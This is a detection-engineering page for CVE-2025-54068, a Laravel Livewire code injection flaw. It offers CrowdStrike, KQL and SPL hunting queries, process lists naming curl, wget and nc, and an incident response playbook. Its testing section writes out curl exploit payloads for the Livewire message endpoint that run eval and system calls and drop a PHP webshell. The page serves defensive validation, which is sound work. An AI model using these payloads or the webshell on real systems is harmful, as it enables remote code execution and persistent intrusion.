Detect Laravel Livewire Code Injection (CVE-2025-54068) in CrowdStrike LogScale
Detects exploitation of CVE-2025-54068, a code injection vulnerability in Laravel Livewire. This KEV-listed vulnerability allows attackers to inject and execute arbitrary PHP code through Livewire component handling, potentially leading to remote code execution on affected Laravel applications.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
LogScale Detection Query
event_simpleName IN ("ProcessRollup2", "NetworkConnectIP4", "DnsRequest") AND
(
(
event_simpleName = "NetworkConnectIP4" AND
(HttpPath = "*/livewire/message*" OR HttpPath = "*/livewire/upload-file*") AND
HttpMethod = "POST"
) OR
(
event_simpleName = "ProcessRollup2" AND
ParentBaseFileName IN ("php", "php-fpm", "php8.0", "php8.1", "php8.2", "php8.3") AND
FileName IN ("bash", "sh", "curl", "wget", "python", "python3", "perl") AND
CommandLine != ""
)
)
| eval risk=if(match(CommandLine, "(eval|system|exec|shell_exec|base64_decode|passthru)"), "HIGH", "MEDIUM")
| where risk = "HIGH"
| table _time, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, HttpPath, RemoteAddressIP4
| sort -_time CrowdStrike CQL query correlating Livewire HTTP endpoint activity with suspicious child process spawning from PHP processes, indicating CVE-2025-54068 RCE exploitation.
Data Sources
Required Tables
False Positives & Tuning
- PHP-FPM legitimately spawning helper scripts for scheduled tasks
- Composer or Artisan CLI tools invoked during deployment pipelines
- Laravel queue workers executing jobs that invoke shell commands
Other platforms for CVE-2025-54068
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2025-54068 Basic eval() Injection via Livewire Message Endpoint
Expected signal: HTTP POST to /livewire/message with base64-encoded payload containing system() call; PHP process may log eval() warning; web server logs capture anomalous request body.
- Test 2CVE-2025-54068 Shell Command Execution via Livewire Injection
Expected signal: Process creation event: php or php-fpm spawning /bin/sh with argument 'id > /tmp/pwned'; file creation event at /tmp/pwned; web server access log entry for the crafted POST.
- Test 3CVE-2025-54068 Webshell Deployment Simulation
Expected signal: File creation event for shell.php in public/ directory initiated by php-fpm or web server process; subsequent HTTP GET requests to /shell.php with command parameters.
Response Playbook
Triage
- Identify the source IP(s) making POST requests to /livewire/message or /livewire/upload-file and determine if they are known scanners, internal hosts, or external threat actors.
- Inspect the raw POST body of flagged requests for PHP code injection payloads (eval, base64_decode, system, exec, shell_exec, passthru) and capture full request/response pairs for forensic review.
- Check web server and PHP error logs for eval() execution errors, unexpected output, or new file writes in the Laravel storage or public directories within the exploitation timeframe.
- Determine if the Laravel application is running an unpatched version of Livewire by reviewing composer.lock for the livewire/livewire package version and comparing against the patched commit ef04be759da41b14d2d129e670533180a44987dc.
Containment
- Immediately block the offending source IP(s) at the WAF or perimeter firewall and apply rate-limiting to all /livewire/* routes pending patch deployment.
- Apply the official Livewire patch by upgrading livewire/livewire to the fixed version via composer update livewire/livewire, then restart PHP-FPM and the web server to ensure patched code is loaded.
Evidence Collection
- Preserve all web server access and error logs covering the exploitation window, including full POST body capture if available (ensure PII handling compliance before retention).
- Capture a disk image or file system snapshot of the webroot and Laravel storage directories to identify any webshells, malicious files, or modified PHP files written during exploitation.
Escalation Criteria
- !Escalate to incident response if any reverse shell, webshell, or unauthorized PHP file is found in the application directory, indicating successful code execution.
- !Escalate immediately if lateral movement indicators are observed from the web server host, such as unexpected outbound connections, SSH brute force, or credential access attempts post-exploitation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs showing POST requests to /livewire/message or /livewire/upload-file with anomalous payload sizes or encoded content. - >
PHP error logs capturing eval() failures, unexpected function calls, or inclusion of remote resources. - >
Filesystem artifacts: newly created .php files in storage/app, public/, or bootstrap/cache directories not corresponding to deployment activity. - >
Process execution records showing PHP-FPM or the web server process spawning unexpected child processes (bash, curl, wget, python).
Tuning Guidance
Begin with medium confidence and tune by baseline-ing normal Livewire POST payload structures for your application. Allowlist known component fingerprints and encoded class names that legitimately appear in request bodies. Reduce false positives from security scanners by excluding known scanner IP ranges. For process-based detections, refine the PHP parent process list to match the exact binary names on your OS distribution. Elevate to high confidence after two weeks of tuning with low false positive rates.
Hunting Queries
Hunt for PHP web server processes spawning unexpected shell or network utility children, a strong indicator of successful Livewire RCE exploitation.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in ("php", "php-fpm", "php8.0", "php8.1", "php8.2", "php8.3")
| where FileName in ("bash", "sh", "curl", "wget", "nc", "ncat", "python", "python3", "perl")
| where InitiatingProcessParentFileName in ("nginx", "apache2", "httpd", "php-fpm")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc index=endpoint sourcetype IN ("crowdstrike", "sysmon", "auditd") EventCode IN (1, "PROCESS_START") ParentImage IN ("*php*", "*php-fpm*") Image IN ("*bash*", "*sh", "*curl*", "*wget*", "*python*", "*perl*") | table _time, host, ParentImage, Image, CommandLine | sort -_time Atomic Red Team Tests
Simulates an attacker sending a crafted POST request to the Livewire /livewire/message endpoint with an eval()-based PHP code injection payload to test detection coverage.
Command
curl -s -X POST http://TARGET_HOST/livewire/message \
-H 'Content-Type: application/json' \
-H 'X-Livewire: true' \
-d '{"fingerprint":{"id":"test","name":"evil","locale":"en","path":"/"},"serverMemo":{"children":[],"errors":[],"htmlHash":"test","data":{},"dataMeta":[],"checksum":"test"},"updates":[{"type":"callMethod","payload":{"id":"test","method":"__construct","params":["eval(base64_decode(\"c3lzdGVtKCdpZCcp\"));"]}}]}' Cleanup
Review and rotate any credentials accessible from the web server process; remove any test artifacts written during simulation. Expected Telemetry
HTTP POST to /livewire/message with base64-encoded payload containing system() call; PHP process may log eval() warning; web server logs capture anomalous request body.
Expected Detection
SPL and KQL queries should flag the request based on base64_decode and eval pattern matching in the POST body.
Tests whether the detection stack captures PHP-spawned shell processes resulting from successful Livewire code injection, simulating the post-exploitation phase.
Command
# Run on a lab host with a vulnerable Laravel+Livewire installation
curl -s -X POST http://127.0.0.1:8000/livewire/message \
-H 'Content-Type: application/json' \
-H 'X-Livewire: true' \
-d '{"fingerprint":{"id":"abc","name":"test","locale":"en","path":"/test"},"serverMemo":{"children":[],"errors":[],"htmlHash":"abc","data":{},"dataMeta":[],"checksum":"abc"},"updates":[{"type":"callMethod","payload":{"id":"abc","method":"mount","params":["system(\"id > /tmp/pwned\");"]}}}]}' Cleanup
rm -f /tmp/pwned; verify no persistent backdoor files were created in the webroot or storage directories. Expected Telemetry
Process creation event: php or php-fpm spawning /bin/sh with argument 'id > /tmp/pwned'; file creation event at /tmp/pwned; web server access log entry for the crafted POST.
Expected Detection
Elastic EQL sequence rule and CrowdStrike CQL should fire on the PHP → shell process spawn chain.
Simulates an attacker using the Livewire code injection to write a PHP webshell to the public directory, testing file creation-based detections and post-exploitation persistence visibility.
Command
# Lab-only: requires vulnerable Livewire installation
curl -s -X POST http://127.0.0.1:8000/livewire/message \
-H 'Content-Type: application/json' \
-H 'X-Livewire: true' \
-d '{"fingerprint":{"id":"xyz","name":"pwn","locale":"en","path":"/"},"serverMemo":{"children":[],"errors":[],"htmlHash":"xyz","data":{},"dataMeta":[],"checksum":"xyz"},"updates":[{"type":"callMethod","payload":{"id":"xyz","method":"mount","params":["file_put_contents(\"/var/www/html/public/shell.php\",\"<?php system($_GET[\\"c\\"]); ?>\");"]}}}]}' Cleanup
rm -f /var/www/html/public/shell.php; audit webroot for any other unexpected .php files created during testing. Expected Telemetry
File creation event for shell.php in public/ directory initiated by php-fpm or web server process; subsequent HTTP GET requests to /shell.php with command parameters.
Expected Detection
File integrity monitoring and EDR file creation events should alert on web process writing .php files to webroot; web access logs capturing requests to newly created shell.php.